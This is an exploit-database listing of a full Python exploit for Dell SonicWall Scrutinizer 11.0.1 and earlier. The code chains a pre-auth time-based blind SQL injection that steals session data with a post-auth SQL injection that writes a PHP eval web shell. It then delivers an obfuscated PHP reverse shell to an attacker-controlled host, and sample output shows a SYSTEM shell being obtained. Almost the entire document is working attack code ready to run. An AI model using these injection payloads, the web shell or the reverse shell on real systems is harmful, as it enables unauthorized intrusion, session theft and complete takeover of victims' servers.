Author

mr_me

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-25413

Category

remote exploits

Date add

08-05-2016

Platform

windows

#!/usr/local/bin/python
"""
Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQL Injection Remote Code Execution
sonic.py by mr_me@offensive-security.com
greets to @brandonprry ;->
 
Summary:
========
 
This exploits an pre-auth SQL Injection in the login.php script within an update statement to steal session data. You could also steal login creds 
which require absolutely no hash cracking since the target uses symmetric encryption. It then exploits a second post-auth SQL Injection vulnerability 
that writes a shell to the target using a relative path and gets SYSTEM.
 
Vulnerability:
==============
 
In html/d4d/login.php on lines 27-34:
 
    }else if ($_REQUEST['setSkin']){
        echo setUserSkin(
          array(
            'db' => $db,
            'user_id' => $_REQUEST['user_id'],
            'skin' => $_REQUEST['setSkin']
          )
        );
 
 Then, on lines 46-62:
 
 function setUserSkin($args){
    $db = $args['db'];
     
    $result = $db->query("
UPDATE plixer.userpreferences
SET setting = '$args[skin]'
WHERE prefCode = 'skin'
AND users_id = $args[user_id]");
     
    if ($args['user_id'] == 1){
        $result2 = $db->query("
UPDATE plixer.serverprefs
SET currentVal = '$args[skin]'
WHERE langKey = 'skin'");
    }
     
}
 
For the post-auth bug, see https://gist.github.com/brandonprry/76741d9a0d4f518fe297
 
Example:
========
 
saturn:module-03 mr_me$ ./sonic.py
 
    Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t
    mr_me@offensive-security.com
 
(!) usage: ./poc.py <target> <connectback:port>
saturn:module-03 mr_me$ ./poc.py 172.16.175.147 172.16.175.1:1111
 
    Dell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t
    mr_me@offensive-security.com
 
(+) target is vuln, proceeding
(+) waiting for session data... starting at: 2016-05-06 16:31:37.022818
(+) awesome, appears like someone has logged in... 
(+) it took 0:00:05.020670 to detect valid session data
(+) extracting session data... 1:NfS5yetP49TXCqP5
(+) backdooring target...
(+) starting handler on port 1111
(+) connection from 172.16.175.147
(+) pop thy shell!
whoami
nt authority\system
ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Local Area Connection:
 
   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 172.16.175.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.175.2
*** Connection closed by remote host ***
"""
import re
import sys
import requests
import datetime
import socket
import telnetlib
import email.utils as eut
from threading import Thread
from base64 import b64encode as b64e
 
lower_value = 0
upper_value = 126
 
def banner():
    return """\n\tDell SonicWall Scrutinizer <= 11.0.1 setUserSkin/deleteTab SQLi Explo!t\n\tmr_me@offensive-security.com\n"""
 
def ct():
    return datetime.datetime.now()
 
def parsedate(text):
    return datetime.datetime(*eut.parsedate(text)[:6])
 
def check_args():
    global target, lserver, lport
    if len(sys.argv) < 3:
        return False
    cb = sys.argv[2]
    target = "http://%s" % sys.argv[1]
    if not ":" in cb:
        return False
    if not cb.split(":")[1].isdigit():
        return False
    lserver = cb.split(":")[0]
    lport   = int(cb.split(":")[1])
    return True
 
def validate():
    r = requests.get("%s/index.html" % target)
    if re.search('Scrutinizer 11.0.1', r.text):
        return True
    return False
 
def have_sessions(time):
    """
    check if we have sessions
    """    
    sqli = "if(ascii(substring((select count(session_id) from sessions),1,1))!=48,sleep(%s),null)" % (time)
    url = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
    st = ct()
    r = requests.get("%s/%s" % (target, url))
    delta = ct()-st
    if int(delta.seconds) < time:
        return False
    return True
 
def do_time_based_blind(sql, time):
    lower = lower_value
    upper = upper_value
    while lower < upper:
        try:
            mid = (lower + upper) / 2
            url = "%s/%s" % (target, ("%s>%s,sleep(%s),null)" % (sql, str(mid), time)))
            st = ct()
            r = requests.get(url)
            delta = ct()-st
            if int(delta.seconds) >= time:
                lower = mid + 1
            else:
                upper = mid
        except (KeyboardInterrupt, SystemExit):
            raise
        except:
            pass
  
    if lower > lower_value and lower < upper_value:
        value = lower
    else:
        url = "%s/%s" % (target, ("%s=%s,sleep(%s),null)" % (sql, str(lower), time)))
        st = ct()
        r = requests.get(url)
        delta = ct()-st
        if int(delta.seconds) >= time:
            value = lower
    return value
 
def steal_session_length():
    xlen = ""
    sqli    = "if(ascii(substring((select length(length(concat(user_id,0x3a,session_id))) from sessions limit 0,1),1,1))"
    qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
    zlen = int(chr(do_time_based_blind(qry_str, 5)))
    for i in range(0, zlen):
        sqli = "if(ascii(substring((select length(concat(user_id,0x3a,session_id)) from sessions limit 0,1),%d,1))" % (i+1)
        qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
        xlen += chr(do_time_based_blind(qry_str, 5))
    return int(xlen)
 
def steal_session(length, time):
    session = ""
    for i in range(0, length):
        sqli    = "if(ascii(substring((select concat(user_id,0x3a,session_id) from sessions limit 0,1),%d,1))" % (i+1)
        qry_str = "d4d/login.php?setSkin=1&user_id=setSkin=1&user_id=%s" % sqli
        char = chr(do_time_based_blind(qry_str, 5))
        session += char
        sys.stdout.write(char)
        sys.stdout.flush() 
    return session
 
# build the reverse php shell
def build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (lserver, lport))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (lserver, lport))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return phpkode
 
def kill_shot(stolen_data):
    user_id    = stolen_data.split(":")[0]
    sessionid = stolen_data.split(":")[1]
    url = "d4d/dashboards.php?deleteTab=1 union select '<?php eval(base64_decode($_COOKIE[\\'awae\\'])); ?>' into outfile '../../html/d4d/offsec.php'"
    requests.get("%s/%s" % (target, url), cookies={"userid": user_id, "sessionid": sessionid})
 
def exec_code():
    phpkodez = b64e(build_php_code())
    handlerthr = Thread(target=handler, args=(lport,))
    handlerthr.start()
    requests.get("%s/d4d/offsec.php" % (target), cookies={"awae": phpkodez})
 
def handler(lport):
    print "(+) starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()
 
def main():
    if check_args():
        if validate():
            print "(+) target is vuln, proceeding"
            st = ct()
            print "(+) waiting for session data... starting at: %s" % ct()
            # we dont use recursion since we could get stack exhaustion. 
            while not have_sessions(5):
                pass
            print "(+) awesome, appears like someone has logged in... "
            print "(+) it took %s to detect valid session data" % (ct()-st)
            sys.stdout.flush() 
            sys.stdout.write("(+) extracting session data... ")
            dataz = steal_session(steal_session_length(), 5)
            print "\n(+) backdooring target..."
            kill_shot(dataz)
            exec_code()
    else:
        print "(!) usage: %s <target> <connectback:port>" % sys.argv[0]
 
if __name__ == "__main__":
    print banner()
    main()

#  0day.today [2024-09-29]  #